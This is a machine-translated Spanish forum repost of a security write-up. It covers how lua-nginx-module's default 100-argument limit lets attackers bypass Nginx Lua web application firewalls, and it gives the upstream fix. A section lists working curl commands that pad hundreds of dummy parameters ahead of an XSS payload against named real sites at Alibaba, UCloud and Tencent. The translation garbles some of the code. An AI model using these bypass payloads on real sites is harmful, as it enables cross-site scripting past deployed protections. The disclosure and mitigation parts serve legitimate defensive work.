Este artículo es un artículo espejo de traducción automática, por favor haga clic aquí para saltar al artículo original.

Vista: 16994|Respuesta: 1

[Vulnerabilidad de seguridad] Vulnerabilidad en el cortafuegos de aplicaciones WAF de Nginx Lua

[Copiar enlace]
Publicado en 27/4/2018 9:23:29 | | | |
Cuando ginx Lua obtiene parámetros, los primeros 100 valores de parámetro se obtienen por defecto y el resto se descartan.
Por lo tanto, los WAFs que usan Nginx Lua serán evitados por defecto.
El 20 de abril del 18, alguien en el pasajero de seguridad ya había revelado este detalle, así que también publiqué este artículo 233.



Principio

La descripción oficial es la siguiente

Ten en cuenta que un máximo de 100 argumentos de petición se analizan por defecto (incluidos los del mismo nombre) y que los argumentos adicionales de petición se descartan silenciosamente para evitar posibles Ataques de denegación de servicio.

Por defecto se pueden analizar hasta 100 parámetros de solicitud (incluidos los del mismo nombre), y se eliminan automáticamente parámetros adicionales para evitar posibles ataques de denegación de servicio.

Busca 100, más o menos el siguiente método tiene el mismo problema.
ngx.req.get_uri_args Obtén los parámetros de solicitud para get
ngx.req.get_post_args Obtén los parámetros de la solicitud para la publicación
ngx.req.get_headers Obtener la cabecera de la solicitud
ngx.decode_args Decodifica la URL de los parámetros
ngx.resp.get_headers Obtener el encabezado de respuesta
En el código fuente de lua-nginx-module, podemos ver que el código fuente establece el parámetro máximo y el encabezado de la solicitud por defecto en 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Sin embargo, el oficial proporciona un método para modificar el valor por defecto, como ngx.req.get_uri_args (200) para obtener los primeros 200 parámetros de la solicitud.

Prueba

Si el parámetro de solicitud es 101, no se puede obtener el último parámetro de solicitud.

Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Si reduces un parámetro de solicitud, puedes obtener el último parámetro cuando los parámetros de solicitud sean exactamente 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
R: ZBG
Te entiendo, zbg

Ten en cuenta que el valor predeterminado es efectivamente 100 parámetros de solicitud, y los parámetros de solicitud después de 100 parámetros serán descartados.

Hay algo extraño en que en el contenido de retorno anterior, en medio de la posición aproximada, el parámetro final zbg ya está emitido. Mi suposición es que la salida no está en orden, pero el orden en que se realiza el análisis sigue el orden en que se envían los parámetros, porque cuando el valor del parámetro 101 es zbg, no se puede obtener.

Adjunto está el script en python que genera los parámetros:

# Autor: ZBG
# Correo:zbg@zbg.org
# Fecha: 2018-04-03

a = ''
Para i en rango (200):
    A = A + 'A{0}={1}&'.Format(i+1, I+1)
Imprimir A
reparar
Por supuesto, no se recomienda modificar el valor MAX del parámetro en el código fuente. Porque, por muy grande que sea el valor que establezcas, se puede saltarse. Se recomienda ajustarlo según los parámetros del método.
Si puedes obtener la longitud del parámetro de la solicitud y usar un método como ngx.req.get_uri_args (lenth), ¿no sería suficiente?
Al leer la documentación, descubrí que no se podía obtener el número de parámetros solicitados. Sin embargo, si pones la lente en 0, puedes obtener todos los parámetros solicitados.

Este argumento puede fijarse en cero para eliminar el límite y procesar todos los argumentos de solicitud recibidos.
args local = ngx.req.get_uri_args(0)

Sin embargo, se desaconseja encarecidamente ponerla en 0 para evitar posibles ataques de denegación de servicio.

Se desaconseja encarecidamente eliminar el límite de max_args.

En realidad, me preguntaba por qué poner 0 podría provocar un posible ataque de denegación de servicio, y la solicitud iría a nginx de todas formas, sin importar cuántos parámetros hubiera en get o post.

Planteé un problema al funcionario, y el autor dijo que ngx.req.get_uri_args (0) aumentará el consumo de CPU y memoria del servidor. Más tarde, probé 200 parámetros y usé Nginx+php para obtener el parámetro número 200, lo que significa que Nginx no limita por defecto el número de parámetros solicitados. Entonces el problema puede estar en Nginx Lua mismo,Cuando Nginx Lua usa ngx.req.get_uri_args(0) para obtener todos los parámetros y los recorre, una vez que se solicitan muchos parámetros, consume más CPU y memoria, e incluso acaba provocando una denegación de servicio

El 03/04/2018, Bypass007 planteó oficialmente un PROBLEMA sobre esta corrección de errores, y finalmente añadió oficialmente una nueva función basada en este PROBLEMA el 21-04-2018. La dirección del registro de commit de esta función: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

La descripción de la función es la siguiente: En versiones posteriores a la v0.10.13 (incluida la v0.10.13), cuando se incumple el número límite de solicitudes, el segundo valor de retorno es la cadena truncada.
Desde la v0.10.13, cuando se supera el límite, devolverá un segundo valor que es la cadena "truncada".
Sin embargo, el argumento opcional de la función max_args puede usarse para anular este límite:
args local, err = ngx.req.get_uri_args(10)
si err == "truncado" entonces
     -- se puede elegir ignorar o rechazar la solicitud actual aquí
fin

Así que salió la solución final.

Actualizar lua-nginx-module a v0.10.13 o posterior

Luego limita el número total de parámetros, en cuanto a cuánto está limitado el número total, personalmente creo que 100 es suficiente

OpenResty actualiza el módulo lua-nginx

No encontré información sobre el módulo de mejora de OpenResty, así que descubrí cómo mejorar el módulo lua-nginx por mi cuenta.

Los pasos son los siguientes:

Descarga la versión correspondiente del módulo lua-nginx
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
desempaquetar
tar -zxvf v0.10.13
Eliminar la versión anterior del módulo lua-nginx
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Copiar el nuevo módulo lua-nginx
MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.13
Para compilación, consulte los parámetros de compilación de VeryNginx


Bypass de caja

Cabe aclarar que los siguientes WAFs no estoy seguro de si usar Nginx Lua, pero pueden ser ignorados por el número total de parámetros.

Ali WAF

Este WAF es un WAF utilizado internamente por Alibaba, es decir, el WAF usado por nombres de dominio como *.taobao.com, y no ha sido probado para el WAF en la nube vendido por Alibaba Cloud.
Primero, solicita una carga útil POST XSS para interceptarlo.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
A través de Fuzz, se descubrió que cuando el número de parámetros aumenta a 478, con la carga útil XSS, ya no se intercepta y el sitio web puede accederse normalmente.
Rotación -v -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

El WAF probado es un WAF vendido por UCloud.
Cuando el parámetro de solicitud se incrementa a 138, dejará de bloquearse y el sitio web será accedido normalmente.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alerta(1234)' taqu.cn

Tencent WAF

Este WAF es un WAF utilizado internamente por Tencent, es decir, el WAF usado por nombres de dominio como *.qq.com, y no ha sido probado para el WAF en la nube vendido por Tencent Cloud.
Cuando el parámetro de solicitud aumenta a 4000, dejará de bloquearse y el sitio web será accedido normalmente. Se ven afectadas las pruebas aleatorias de los siguientes dominios.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

resumen

Esta pregunta es muy sencilla, y puedes encontrarla leyendo el documento detenidamente. ¿Pero por qué no lo descubrí? Creo que sigue siendo muy poco pensamiento.
Referencia
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Anterior:Aprende Photoshop desde cero, 18 lecciones desde principiante hasta dios
Próximo:Fortalezas y debilidades de Lua y Luajit
Renuncia:
Todo el software, materiales de programación o artículos publicados por Code Farmer Network son únicamente para fines de aprendizaje e investigación; El contenido anterior no se utilizará con fines comerciales o ilegales; de lo contrario, los usuarios asumirán todas las consecuencias. La información de este sitio proviene de Internet, y las disputas de derechos de autor no tienen nada que ver con este sitio. Debes eliminar completamente el contenido anterior de tu ordenador en un plazo de 24 horas desde la descarga. Si te gusta el programa, por favor apoya el software genuino, compra el registro y obtén mejores servicios genuinos. Si hay alguna infracción, por favor contáctanos por correo electrónico.

Mail To:help@itsvse.com